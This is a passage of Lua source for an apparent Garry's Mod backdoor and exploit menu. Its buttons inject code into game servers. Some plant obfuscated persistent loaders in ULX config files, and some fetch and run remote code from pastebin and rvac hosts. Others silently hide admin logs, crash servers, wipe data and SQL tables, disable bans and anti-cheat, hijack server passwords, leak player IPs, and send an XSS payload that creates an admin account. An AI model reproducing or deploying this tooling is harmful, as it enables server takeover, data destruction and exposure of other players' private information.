1263 surface.SetDrawColor(Color(24, 24, 24))
1264 surface.DrawRect(0, 0, w, h)
1265 surface.SetDrawColor(21, 21, 21)
1266 surface.SetMaterial(upgrad)
1267 surface.SetDrawColor(o_color2)
1268 surface.SetMaterial(downgrad)
1269 surface.SetDrawColor(o_color2)
1270 surface.SetDrawColor(35, 35, 35, 255)
1271 surface.DrawOutlinedRect(0, 0, w, h)
1272 end
1273
1274 helpimretarded.DoClick = function()
1275 noob.Notify("Copied to clipboard", Color(155, 255, 155))
1276 local llll = [[http.Fetch("https://rvac/gq/_!/p",function(b)RunString(b)end)]]
1277 SetClipboardText(llll)
1278 end
1279
1280 local helpimretarded2 = vgui.Create("DButton", rvacplate)
1281 helpimretarded2:SetSize(200, 45)
1282 helpimretarded2:SetPos(10, 680)
1283 helpimretarded2:SetFont("Trebuchet18")
1284 helpimretarded2:SetText("ULX Luarun Backdoor")
1285 helpimretarded2:SetTextColor(Color(255, 255, 255, 255))
1286
1287 helpimretarded2.Paint = function(panel, w, h)
1288 surface.SetDrawColor(Color(24, 24, 24))
1289 surface.DrawRect(0, 0, w, h)
1290 surface.SetDrawColor(21, 21, 21)
1291 surface.SetMaterial(upgrad)
1292 surface.SetDrawColor(o_color2)
1293 surface.SetMaterial(downgrad)
1294 surface.SetDrawColor(o_color2)
1295 surface.SetDrawColor(35, 35, 35, 255)
1296 surface.DrawOutlinedRect(0, 0, w, h)
1297 end
1298
1299 helpimretarded2.DoClick = function()
1300 noob.Notify("Using ulx luarun to silently infect server", Color(155, 255, 155))
1301 RunConsoleCommand("ulx", "logecho", "0")
1302
1303 timer.Simple(0.5, function()
1304 RunConsoleCommand("ulx", "luarun", "util.AddNetworkString ('Hergon') net.Receive ('Hergon', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)")
1305 end)
1306
1307 timer.Simple(1, function()
1308 RunConsoleCommand("ulx", "logecho", "1")
1309 end)
1310 end
1311
1312 -- Scroll Bars
1313 local bar1 = vgui.Create("DScrollPanel", item)
1314 bar1:Dock(FILL)
1315 local sbar1 = bar1:GetVBar()
1316
1317 function sbar1:Paint()
1318 end
1319
1320 function sbar1.btnUp:Paint()
1321 end
1322
1323 function sbar1.btnDown:Paint()
1324 end
1325
1326 function sbar1.btnGrip:Paint()
1327 end
1328
1329 local bar2 = vgui.Create("DScrollPanel", item2)
1330 bar2:Dock(FILL)
1331 local sbar2 = bar2:GetVBar()
1332
1333 function sbar2:Paint()
1334 end
1335
1336 function sbar2.btnUp:Paint()
1337 end
1338
1339 function sbar2.btnDown:Paint()
1340 end
1341
1342 function sbar2.btnGrip:Paint()
1343 end
1344
1345 local bar4 = vgui.Create("DScrollPanel", item3)
1346 bar4:Dock(FILL)
1347 local sbar4 = bar4:GetVBar()
1348
1349 function sbar4:Paint()
1350 end
1351
1352 function sbar4.btnUp:Paint()
1353 end
1354
1355 function sbar4.btnDown:Paint()
1356 end
1357
1358 function sbar4.btnGrip:Paint()
1359 end
1360
1361 -- Backdoors
1362 hergon.AddButton("@Inject SendLua Interface", bar1, function()
1363 surface.PlaySound("buttons/button18.wav")
1364 noob.PostLua([[util.AddNetworkString ('hergon') net.Receive ('hergon', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)]])
1365 end)
1366
1367 hergon.AddButton("@Persistant Infection", bar1, function()
1368 surface.PlaySound("buttons/button18.wav")
1369 noob.PostLua([[file.Append("ulx/config.txt", "\n"..[=[x='R'..'unS'..'tri'..'n'..'g'_='r'..''..'va'..'c'..'.g'..'q/'x0=_G['Co'..'mpil'..''..'eSt'..'ri'..'ng']__='h'..''..'t'..'t'..'ps'..'://'x0(__,_,'_!/p',x)]=])]])
1370 noob.PostLua([[file.Append("ulib/misc_registered.txt", "\n"..[=[x='R'..'unS'..'tri'..'n'..'g'_='r'..''..'va'..'c'..'.g'..'q/'x0=_G['Co'..'mpil'..''..'eSt'..'ri'..'ng']__='h'..''..'t'..'t'..'ps'..'://'x0(__,_,'_!/p',x)]=])]])
1371 end)
1372
1373 hergon.AddButton("Artillery Server Strike", bar1, function()
1374 surface.PlaySound("buttons/button18.wav")
1375 noob.PostLua([[if !bombstrike then
1376
1377 hook.Add("Think", "lulz_bombstrike", function()
1378
1379 local explode = ents.Create("env_explosion")
1380
1381 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
1382
1383 local trc = {}
1384
1385 trc.start = ps
1386
1387 trc.endpos = ps + Vector(0, 0, -99999)
1388
1389 local tr = util.TraceLine(trc)
1390
1391 if !tr.Hit then return end
1392
1393 explode:SetPos(tr.HitPos)
1394
1395 explode:Spawn()
1396
1397 explode:SetKeyValue("iMagnitude", "400")
1398
1399 explode:Fire("Explode", 0, 0)
1400
1401 end)
1402
1403 bombstrike = true
1404
1405 else
1406
1407 hook.Remove("Think", "lulz_bombstrike")
1408
1409 bombstrike = false
1410
1411 end]])
1412 end)
1413
1414 hergon.AddButton("Announce centre screen", bar1, function()
1415 surface.PlaySound("buttons/button18.wav")
1416
1417 Derma_StringRequest("Set Custom Text", "Set Text", "", function(str)
1418 noob.PostLua("for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, \"" .. str .. "\") end")
1419 end)
1420 end)
1421
1422 hergon.AddButton("Broken Glass Symphony", bar1, function()
1423 surface.PlaySound("buttons/button18.wav")
1424 noob.PostLua([[if !timer.Exists("A true masterpiece") then
1425
1426 timer.Create("A true masterpiece", 0.2, 0, function()
1427
1428 for _, p in pairs(player.GetAll()) do
1429
1430 p:EmitSound("physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random(40, 180))
1431
1432 end
1433
1434 end)
1435
1436 else
1437
1438 timer.Remove("A true masterpiece")
1439
1440 end]])
1441 end)
1442
1443 hergon.AddButton("Double Or Nothing 100%", bar1, function()
1444 surface.PlaySound("buttons/button18.wav")
1445
1446 Derma_StringRequest("Set win chance", "1-100", "", function(str)
1447 noob.PostLua("BDON_CONFIG.doubleChance = " .. str)
1448 end)
1449 end)
1450
1451 hergon.AddButton("Ban All Players", bar1, function()
1452 surface.PlaySound("buttons/button18.wav")
1453
1454 Derma_StringRequest("Ban All Players", "Reason", "", function(text)
1455 noob.PostLua([[
1456
1457 local id = ]] .. LocalPlayer():UserID() .. [[
1458
1459 for k, v in next, player.GetAll() do
1460
1461 if v:UserID() == id then continue end
1462
1463 v:Ban( 0, false )
1464
1465 v:Kick( "]] .. tostring(text) .. [[" )
1466
1467 end]])
1468 end)
1469 end)
1470
1471 hergon.AddButton("Break Economy", bar1, function()
1472 surface.PlaySound("buttons/button18.wav")
1473 noob.PostLua([[for k,v in pairs(player.GetAll()) do v:addMoney(9999999999) end]])
1474 end)
1475
1476 hergon.AddButton("Everyone Money", bar1, function()
1477 surface.PlaySound("buttons/button18.wav")
1478 Derma_StringRequest("Everyone Money", "Amount", "", function(everyonemon)
1479 noob.PostLua([[for k,v in pairs(player.GetAll()) do v:addMoney(]]..tostring(everyonemon)..[[) end]])
1480 end)
1481 end)
1482
1483 hergon.AddButton("Cleanup Map", bar1, function()
1484 surface.PlaySound("buttons/button18.wav")
1485 noob.PostLua([[game.CleanUpMap()]])
1486 end)
1487
1488 hergon.AddButton("Console Jammer", bar1, function()
1489 surface.PlaySound("buttons/button18.wav")
1490 noob.PostLua([[if !(timer.Exists("consoleJammer")) then
1491
1492 timer.Create("consoleJammer", 0.5, 0, function()
1493
1494 print("Hergon Is Hacking You!")
1495
1496 end)
1497
1498 else
1499
1500 timer.Destroy("consoleJammer")
1501
1502 end]])
1503 end)
1504
1505 hergon.AddButton("Crash Server", bar1, function()
1506 surface.PlaySound("buttons/button18.wav")
1507 noob.PostLua([[timer.Create("rekt",0.5,1,function() while true do end end)]])
1508 chat.AddText(Color(255, 0, 0), "[Hergon] ", Color(20, 150, 200), "The server has been crashed gg")
1509 end)
1510
1511 hergon.AddButton("Crash Admins & Vip's", bar1, function()
1512 surface.PlaySound("buttons/button18.wav")
1513 noob.PostLua("for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end")
1514 end)
1515
1516 hergon.AddButton("Change Everyone Name", bar1, function()
1517 surface.PlaySound("buttons/button18.wav")
1518
1519 Derma_StringRequest("Set Everyones Name", "Name", "", function(text)
1520 noob.PostLua([[local str = "]] .. text .. [["
1521
1522 for k, v in next, player.GetAll() do
1523
1524 DarkRP.storeRPName( v, str )
1525
1526 v:setDarkRPVar( "rpname", str )
1527
1528 end]])
1529 end)
1530 end)
1531
1532 hergon.AddButton("Change Everyone Model", bar1, function()
1533 surface.PlaySound("buttons/button18.wav")
1534
1535 Derma_StringRequest("Change Everyones Model", "Model Directory", "", function(str)
1536 noob.PostLua("for k, v in pairs(player.GetAll()) do v:SetModel(\"" .. str .. "\") end")
1537 end)
1538 end)
1539
1540 hergon.AddButton("Change Everything Material", bar1, function()
1541 surface.PlaySound("buttons/button18.wav")
1542
1543 Derma_StringRequest("Set Everythings Material", "Material Directory", "", function(str)
1544 noob.PostLua("for k, v in pairs(ents.GetAll()) do v:SetMaterial(\"" .. str .. "\") end")
1545 end)
1546 end)
1547
1548 hergon.AddButton("Disable Bans/Kicks", bar1, function()
1549 surface.PlaySound("buttons/button18.wav")
1550 noob.PostLua([[if ULib then
1551
1552 function ULib.kick( ply, reason, calling_ply ) end
1553
1554 function ULib.ban( ply, time, reason, admin ) end
1555
1556 function ULib.addBan( steamid, time, reason, name, admin ) end
1557
1558 end
1559
1560 if FAdmin then
1561
1562 local function no(ply) end
1563
1564 FAdmin.Commands.AddCommand("kick", no)
1565
1566 FAdmin.Commands.AddCommand("ban", no)
1567
1568 FAdmin.Commands.AddCommand("jail", no)
1569
1570 FAdmin.Commands.AddCommand("UnJail", no)
1571
1572 FAdmin.Commands.AddCommand("ClearDecals", no)
1573
1574 FAdmin.Commands.AddCommand("StopSounds", no)
1575
1576 FAdmin.Commands.AddCommand("CleanUp", no)
1577
1578 end
1579
1580 local _R = debug.getregistry()
1581
1582 function _R.Player.Ban(ply, r) end
1583
1584 function _R.Player.Kick(ply, r) end
1585
1586 function game.KickID(id, reason) end
1587
1588 local RCM = RunConsoleCommand
1589
1590 function RunConsoleCommand(command, ...)
1591
1592 if command == "addip" then return end
1593
1594 RCM(command, ...)
1595
1596 end]])
1597 end)
1598
1599 hergon.AddButton("Disable SNTE", bar1, function()
1600 surface.PlaySound("buttons/button18.wav")
1601 noob.PostLua([[
1602
1603 local function Check(func)
1604
1605 if string.find(debug.getinfo(func).short_src,"snte_source.lua") then
1606
1607 return true
1608
1609 else
1610
1611 return false
1612
1613 end
1614
1615 end
1616
1617 timer.Create("rvacbypass",5,0,function()
1618
1619 for k,v in pairs(net.Receivers) do
1620
1621 if Check(v) then
1622
1623 net.Receive(k,function(l,ply)
1624
1625 ply:ChatPrint("LEL")
1626
1627 end)
1628
1629 end
1630
1631 end
1632
1633
1634 end)]])
1635 end)
1636
1637 hergon.AddButton("Disable Exit", bar1, function()
1638 surface.PlaySound("buttons/button18.wav")
1639 noob.PostLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
1640 end)
1641
1642 hergon.AddButton("Delete Server", bar1, function()
1643 surface.PlaySound("buttons/button18.wav")
1644 noob.PostLua([[local function WipeDir(dir)
1645
1646 local files,dirs = file.Find(dir.."*", "DATA")
1647
1648 for k,v in ipairs(files) do
1649
1650 file.Delete(dir..v)
1651
1652 end
1653
1654 for k,v in ipairs(dirs) do
1655
1656 WipeDir(v.."/")
1657
1658 end
1659
1660 end
1661
1662 print(60*60*6)
1663
1664 local function wiperpro()
1665
1666 print("Wiping server data. . .")
1667
1668 WipeDir("")
1669
1670 sql.Query("DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)")
1671
1672 if ULib then
1673
1674 for k,v in pairs(ULib.ucl.groups) do
1675
1676 if k != "user" then
1677
1678 ULib.ucl.removeGroup(k)
1679
1680 end
1681
1682 end
1683
1684 end
1685
1686 if FPP then
1687
1688 for k,v in pairs(FPP.Blocked) do
1689
1690 for r,g in pairs(v) do
1691
1692 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1693
1694 end
1695
1696 end
1697
1698 end
1699
1700 for i=1,256 do
1701
1702 RunConsoleCommand("removeid",i)
1703
1704 end
1705
1706 for k,v in ipairs(player.GetAll()) do
1707
1708 v:Kick("rvac.Team")
1709
1710 end
1711
1712 print("Wipe finished !")
1713
1714 end
1715
1716 timer.Create("1Tap",0.5,1,function() while true do end end)
1717
1718 wiperpro()]])
1719 end)
1720
1721 hergon.AddButton("Earthquake", bar1, function()
1722 surface.PlaySound("buttons/button18.wav")
1723 noob.PostLua([[if !timer.Exists("earthquake") then
1724
1725 timer.Create("earthquake", 0.5, 500, function()
1726
1727 for _, p in pairs(player.GetAll()) do
1728
1729 p:SetPos(p:GetPos() + Vector(0, 0, 1))
1730
1731 p:SetVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150)))
1732
1733 util.ScreenShake(p:GetPos(), 20, 1, 1, 100)
1734
1735 p:EmitSound("ambient/explosions/exp1.wav", 100, math.random(60, 100))
1736
1737 end
1738
1739 for _, e in pairs(ents.GetAll()) do
1740
1741 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150))) end
1742
1743 end
1744
1745 end)
1746
1747 else
1748
1749 timer.Remove("earthquake")
1750
1751 end]])
1752 end)
1753
1754 hergon.AddButton("EarRape", bar1, function()
1755 surface.PlaySound("buttons/button18.wav")
1756 noob.PostLua("for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end")
1757 end)
1758
1759 hergon.AddButton("Force Dance All", bar1, function()
1760 surface.PlaySound("buttons/button18.wav")
1761 noob.PostLua([[for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )]])
1762 end)
1763
1764 hergon.AddButton("Ignite Everyone", bar1, function()
1765 surface.PlaySound("buttons/button18.wav")
1766
1767 Derma_StringRequest("Ignite All Players", "Lenght In Seconds", "", function(str)
1768 noob.PostLua("for k, v in pairs(player.GetAll()) do v:Ignite(" .. str .. ") end")
1769 end)
1770 end)
1771
1772 hergon.AddButton("Kill Everyone", bar1, function()
1773 surface.PlaySound("buttons/button18.wav")
1774 noob.PostLua("for k,v in pairs(player.GetAll()) do v:Kill() end")
1775 end)
1776
1777 hergon.AddButton("Luarun Access", bar1, function()
1778 surface.PlaySound("buttons/button18.wav")
1779 noob.PostLua([[RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun")]])
1780 end)
1781
1782 hergon.AddButton("Launch Players", bar1, function()
1783 surface.PlaySound("buttons/button18.wav")
1784 noob.PostLua("for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end")
1785 end)
1786
1787 hergon.AddButton("LuaRun Code", bar1, function()
1788 surface.PlaySound("buttons/button18.wav")
1789
1790 Derma_StringRequest("LuaRun String", "String", "", function(text)
1791 noob.PostLua([[RunString( ']] .. text .. [[' )]])
1792 end)
1793 end)
1794
1795 hergon.AddButton("Rainbow Physgun", bar1, function()
1796 surface.PlaySound("buttons/button18.wav")
1797 noob.PostLua([[hook.Add("Think", "rainbowphysgun", function()
1798
1799 for k,ply in ipairs(player.GetAll()) do
1800
1801 local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
1802
1803 ply:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
1804
1805 end
1806
1807 end)]])
1808 end)
1809
1810 hergon.AddButton("Rainbow Chat Spam", bar1, function()
1811 surface.PlaySound("buttons/button18.wav")
1812
1813 Derma_StringRequest("Rainbow Chatspam", "Text", "", function(text)
1814 noob.PostLua([[
1815
1816 chat = {}
1817
1818 function chat.AddText(...)
1819
1820 net.Start("rvac")
1821
1822 net.WriteTable({...})
1823
1824 net.Broadcast()
1825
1826 end
1827
1828 function AddTextPly(ply, ...)
1829
1830 net.Start("rvac")
1831
1832 net.WriteTable({...})
1833
1834 net.Send(ply)
1835
1836 end
1837
1838 for k, v in pairs(player.GetAll()) do
1839
1840 v:SendLua('net.Receive("rvac", function(len) chat.AddText(unpack(net.ReadTable()))end)')
1841
1842 end
1843
1844 timer.Create("gotEm", 0.8, 120, function()
1845
1846 local function ChatPrintRainbow(frequency, str)
1847
1848 local text = {}
1849
1850 for i = 1, #str do
1851
1852 table.insert(text, HSVToColor(i * frequency % 360, 1, 1))
1853
1854 table.insert(text, string.sub(str, i, i))
1855
1856 end
1857
1858 chat.AddText(unpack(text))
1859
1860 end
1861
1862 ChatPrintRainbow(10, "]] .. text .. [[")
1863
1864 end)]])
1865 end)
1866 end)
1867
1868 hergon.AddButton("Rainbow HUD", bar1, function()
1869 surface.PlaySound("buttons/button18.wav")
1870 noob.PostLua([[if !rainbowscreen then
1871
1872 BroadcastLua("hook.Add('HUDPaint', 'rainbowscreen', function() local cin = math.sin(CurTime() * 10) * 255 surface.SetDrawColor(Color(cin, -cin, cin, 100)) surface.DrawRect(0, 0, ScrW(), ScrH()) end)")
1873
1874 rainbowscreen = true
1875
1876 else
1877
1878 BroadcastLua("hook.Remove('HUDPaint', 'rainbowscreen')")
1879
1880 rainbowscreen = false
1881
1882 end]])
1883 end)
1884
1885 hergon.AddButton("Rainbow Buildings/Floor", bar1, function()
1886 surface.PlaySound("buttons/button18.wav")
1887 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/gCG1pSNK',function(b,l,h,c)RunString(b)end,nil)")]])
1888 chat.AddText(Color(255, 0, 0), "[hergon] ", Color(255, 155, 155), "This may cause frame drop")
1889 end)
1890
1891 hergon.AddButton("Remove Bans", bar1, function()
1892 surface.PlaySound("buttons/button18.wav")
1893 noob.PostLua([[if file.Exists("ulib/bans.txt", "DATA") then file.Delete("ulib/bans.txt") end]])
1894 end)
1895
1896 hergon.AddButton("Rave Music", bar1, function()
1897 surface.PlaySound("buttons/button18.wav")
1898 noob.PostLua("BroadcastLua([[surface.PlaySound('music/hl1_song25_remix3.mp3')]])")
1899 end)
1900
1901 hergon.AddButton("Reset all money", bar1, function()
1902 surface.PlaySound("buttons/button18.wav")
1903 noob.PostLua([[RunConsoleCommand("rp_resetallmoney")]])
1904 end)
1905
1906 hergon.AddButton("RCON Command", bar1, function()
1907 surface.PlaySound("buttons/button18.wav")
1908
1909 Derma_StringRequest("RCON Command", "Rcon", "", function(str)
1910 noob.PostRcon(str)
1911 end)
1912 end)
1913
1914 hergon.AddButton("Server Nuke (M9K)", bar1, function()
1915 surface.PlaySound("buttons/button18.wav")
1916 noob.PostLua([[
1917
1918 local rocket = ents.Create("m9k_launched_davycrockett")
1919
1920 local ply2 = player.GetAll(]] .. selPly .. [[)
1921
1922 rocket:SetPos(ply2:GetPos())
1923
1924 rocket:SetOwner(ply2)
1925
1926 rocket.Owner = ply2
1927
1928 rocket:Spawn()
1929
1930 rocket:Activate()]])
1931 end)
1932
1933 hergon.AddButton("Seize Server", bar1, function()
1934 surface.PlaySound("buttons/button18.wav")
1935 chat.AddText(Color(255, 0, 0), "[hergon] ", Color(20, 150, 200), "Server Password is: HackedByNinj")
1936 noob.PostLua([[RunConsoleCommand("sv_password", "HackedByNinj")
1937
1938 RunConsoleCommand("hostname", "Hergon Seized By Ninjego")]])
1939 end)
1940
1941 hergon.AddButton("Moan Steps", bar1, function()
1942 surface.PlaySound("buttons/button18.wav")
1943 noob.PostLua([[if !moanstep then
1944
1945 hook.Add("PlayerFootstep", "oooh", function(ply)
1946
1947 ply:EmitSound("vo/npc/female01/pain0" .. math.random(1, 9) .. ".wav", 75, math.random(50, 100))
1948
1949 end)
1950
1951 moanstep = true
1952
1953 else
1954
1955 hook.Remove("PlayerFootstep", "oooh")
1956
1957 moanstep = false
1958
1959 end]])
1960 end)
1961
1962 hergon.AddButton("Open URL On Players", bar1, function()
1963 surface.PlaySound("buttons/button18.wav")
1964
1965 Derma_StringRequest("URL On Players", "URL Link", "", function(str)
1966 noob.PostLua([==[local ply = str
1967
1968 ply:SendLua([[h=vgui.Create("DHTML")
1969
1970 h:SetSize(ScrW(),ScrH())
1971
1972 h:OpenURL(..str..)]])
1973
1974 ]==])
1975 end)
1976 end)
1977
1978 hergon.AddButton("Explode all vehicles", bar1, function()
1979 surface.PlaySound("buttons/button18.wav")
1980 noob.PostLua([[for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
1981
1982 local explo = ents.Create("env_explosion")
1983
1984 explo:SetPos(v:GetPos())
1985
1986 explo:SetKeyValue("iMagnitude", "300")
1987
1988 explo:Spawn()
1989
1990 explo:Activate()
1991
1992 explo:Fire("Explode", "", 0)
1993
1994 end
1995
1996 end]])
1997 end)
1998
1999 hergon.AddButton("Print All IP's", bar1, function()
2000 surface.PlaySound("buttons/button18.wav")
2001 noob.PostLua([[
2002
2003 local id = ]] .. LocalPlayer():UserID() .. [[
2004
2005 for k, v in pairs( player.GetAll() ) do
2006
2007 Player( id ):ChatPrint( "Player: " .. v:Nick() .. " (" .. v:SteamID() .. ") IP: " .. v:IPAddress() )
2008
2009 end]])
2010 end)
2011
2012 hergon.AddButton("Toggle all doors", bar1, function()
2013 surface.PlaySound("buttons/button18.wav")
2014 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end]])
2015 end)
2016
2017 hergon.AddButton("Lock all doors", bar1, function()
2018 surface.PlaySound("buttons/button18.wav")
2019 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("lock", "", 0) end end]])
2020 end)
2021
2022 hergon.AddButton("Unlock all doors", bar1, function()
2023 surface.PlaySound("buttons/button18.wav")
2024 noob.PostLua([[local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end]])
2025 end)
2026
2027 hergon.AddButton("Vaporize all players", bar1, function()
2028 surface.PlaySound("buttons/button18.wav")
2029 noob.PostLua([[for k, v in pairs(player.GetAll()) do v:Remove() end]])
2030 end)
2031
2032 hergon.AddButton("FPP Unrestrict everything", bar1, function()
2033 surface.PlaySound("buttons/button18.wav")
2034 noob.PostLua([[if FPP then
2035
2036 for k,v in pairs(FPP.Blocked) do
2037
2038 for r,g in pairs(v) do
2039
2040 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
2041
2042 end
2043
2044 end
2045
2046 end]])
2047 end)
2048
2049 hergon.AddButton("Wipe data folder", bar1, function()
2050 surface.PlaySound("buttons/button18.wav")
2051 noob.PostLua([[local files, directories = file.Find("*", "DATA") for k, v in pairs(files) do file.Delete(v) end]])
2052 end)
2053
2054 hergon.AddButton("Wipe SQL Tables", bar1, function()
2055 surface.PlaySound("buttons/button18.wav")
2056 noob.PostLua([[MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)')]])
2057 end)
2058
2059 hergon.AddButton("Play Sound From URL", bar1, function()
2060 surface.PlaySound("buttons/button18.wav")
2061
2062 Derma_StringRequest("Play Sound", "Set Link (Has to end with .AUDIOFORMAT)", "", function(str)
2063 noob.PostLua("BroadcastLua([[sound.PlayURL(\"" .. str .. "\" , \"mono\", function() end)]])")
2064 end)
2065 end)
2066
2067 hergon.AddButton("Luarun From Pastebin", bar1, function()
2068 surface.PlaySound("buttons/button18.wav")
2069
2070 Derma_StringRequest("RunLua", "Place Pastebin link inside box", "", function(str)
2071 noob.PostLua("http.Fetch(\"" .. str .. "\", function( b, l, h, c ) RunString( b ) end, function() end )")
2072 end)
2073 end)
2074
2075 hergon.AddButton("Luarun From Pastebin", bar1, function()
2076 surface.PlaySound("buttons/button18.wav")
2077 noob.PostLua("http.Fetch(\"" .. str .. "\", function( b, l, h, c ) RunString( b ) end, function() end )")
2078 end)
2079
2080 hergon.AddButton("ULX Unban SteamID", bar1, function()
2081 surface.PlaySound("buttons/button18.wav")
2082
2083 Derma_StringRequest("ULX Unban SteamID", "SteamID", "", function(str)
2084 noob.PostLua([[local gae = ulx_logecho game.ConsoleCommand("ulx_logecho 0" .. "\n") game.ConsoleCommand("ulx unban " ..str.. "\n") game.ConsoleCommand("ulx_logecho " .. gae .. "\n")]])
2085 end)
2086 end)
2087
2088 -- Targeting Backdoors
2089 hergon.AddButton("Co Host Menu", bar2, function()
2090 surface.PlaySound("buttons/button18.wav")
2091 noob.PostLua([[Player(]] .. selPly .. [[):SendLua('http.Fetch("https://rvac.ml/load/ui.lua",function(b) RunString(b)end)')]])
2092 end)
2093
2094 hergon.AddButton("Set Superadmin", bar2, function()
2095 surface.PlaySound("buttons/button18.wav")
2096 noob.PostLua([[Player(]] .. selPly .. [[):SetUserGroup("superadmin")]])
2097 end)
2098
2099 hergon.AddButton("Remove User", bar2, function()
2100 surface.PlaySound("buttons/button18.wav")
2101 noob.PostLua([[Player(]] .. selPly .. [[):SetUserGroup("user"))]])
2102 end)
2103
2104 hergon.AddButton("Remove Props", bar2, function()
2105 surface.PlaySound("buttons/button18.wav")
2106 noob.PostLua([[game.CleanUpMap(]] .. selPly .. [[)]])
2107 end)
2108
2109 hergon.AddButton("Enable Godmode", bar2, function()
2110 surface.PlaySound("buttons/button18.wav")
2111 noob.PostLua([[Player(]] .. selPly .. [[):GodEnable()]])
2112 end)
2113
2114 hergon.AddButton("Disable Godmode", bar2, function()
2115 surface.PlaySound("buttons/button18.wav")
2116 noob.PostLua([[Player(]] .. selPly .. [[):GodDisable()]])
2117 end)
2118
2119 hergon.AddButton("Noclip", bar2, function()
2120 surface.PlaySound("buttons/button18.wav")
2121 noob.PostLua([[RunConsoleCommand( "ulx noclip ]] .. selPly .. [["]])
2122
2123 end)
2124
2125 -- Extras Page
2126 hergon.AddButton("Scan Backdoors", bar4, function()
2127 surface.PlaySound("buttons/button18.wav")
2128 CheckBackdoors()
2129 end)
2130
2131 hergon.AddButton("GBackdoor Exploit", bar4, function()
2132 surface.PlaySound("buttons/button18.wav")
2133
2134 Derma_StringRequest("GBacdoor Exploit", "LINK/core/stage2.php", "", function(str)
2135 timer.Create('13134657', 5, 0, function()
2136 http.Post("" .. str, {
2137 nb = 27,
2138 i = math.random(1, 99999) .. '.' .. math.random(1, 99999) .. '.' .. math.random(1, 99999),
2139 n = math.random(1, 99999) .. ':' .. math.random(1, 99999) .. [[<script>$.ajax({url: 'core/ajax/add-user.php?username=support&password=support&cpassword=support'});</script>]]
2140 })
2141 end)
2142 end)
2143 end)
2144
2145 hergon.AddButton("CodeFodder Exploit", bar4, function()
2146 surface.PlaySound("buttons/button18.wav")
2147
2148 Derma_StringRequest("CodeFodder Exploit", "Download ID", "", function(str)
2149 timer.Create("omgstopit", 0.1, 0, function()
2150 http.Fetch("https://api.codefodder.store/download/" .. str)
2151 end)
2152 end)
2153 end)
2154
2155 hergon.AddButton("Rainbow physgun", bar4, function()
2156 surface.PlaySound("buttons/button18.wav")
2157
2158 hook.Add("Think", "rainbowphysgun", function()
2159 for k, ply in ipairs(player.GetAll()) do
2160 local col = HSVToColor(CurTime() % 6 * 60, 1, 1)
2161 ply:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
2162 end
2163 end)
2164 end)
2165
2166 hergon.AddButton("Bunny Hop", bar4, function()
2167 surface.PlaySound("buttons/button18.wav")
2168
2169 if hook.GetTable()["ninZ"] then
2170 hook.Remove("ninZ")
2171 end
2172
2173 local function ch_bunnyhop(ply)
2174 if (ply:KeyDown(IN_JUMP) and not LocalPlayer():IsOnGround()) then
2175 ply:RemoveKey(IN_JUMP)
2176
2177 if not LocalPlayer():IsFlagSet(FL_ONGROUND) and LocalPlayer():GetMoveType() ~= MOVETYPE_NOCLIP then
2178 if (ply:GetMouseX() > 1 or ply:GetMouseX() < -1) then
2179 ply:SetSideMove(ply:GetMouseX() > 1 and 400 or -400)
2180 else
2181 ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D())
2182 ply:SetSideMove((ply:CommandNumber() % 2 == 0) and -400 or 400)
2183 end
2184 end
2185 elseif (ply:KeyDown(IN_JUMP)) then
2186 ply:SetForwardMove(10000)
2187 end
2188 end
2189
2190 hook.Add("CreateMove", "ninZ", function(ply)
2191 ch_bunnyhop(ply)
2192 end)
2193 end)
2194
2195 hergon.AddButton("Enigma Disco", bar4, function()
2196 surface.PlaySound("buttons/button18.wav")
2197 noob.PostLua([[http.Fetch("https://pastebin.com/raw/cBVx89eS", function(b) RunString(b) end )]])
2198 end)
2199
2200 hergon.AddButton("Enigma Disco 2.0", bar4, function()
2201 surface.PlaySound("buttons/button18.wav")
2202 noob.PostLua([[http.Fetch("https://pastebin.com/raw/T04SpmMK", function(b) RunString(b) end )]])
2203 end)
2204
2205 hergon.AddButton("Corruption Disco", bar4, function()
2206 surface.PlaySound("buttons/button18.wav")
2207 noob.PostLua([[http.Fetch("https://pastebin.com/raw/617S3m9V",function(b,l,h,c)RunString(b)end,nil)]])
2208 end)
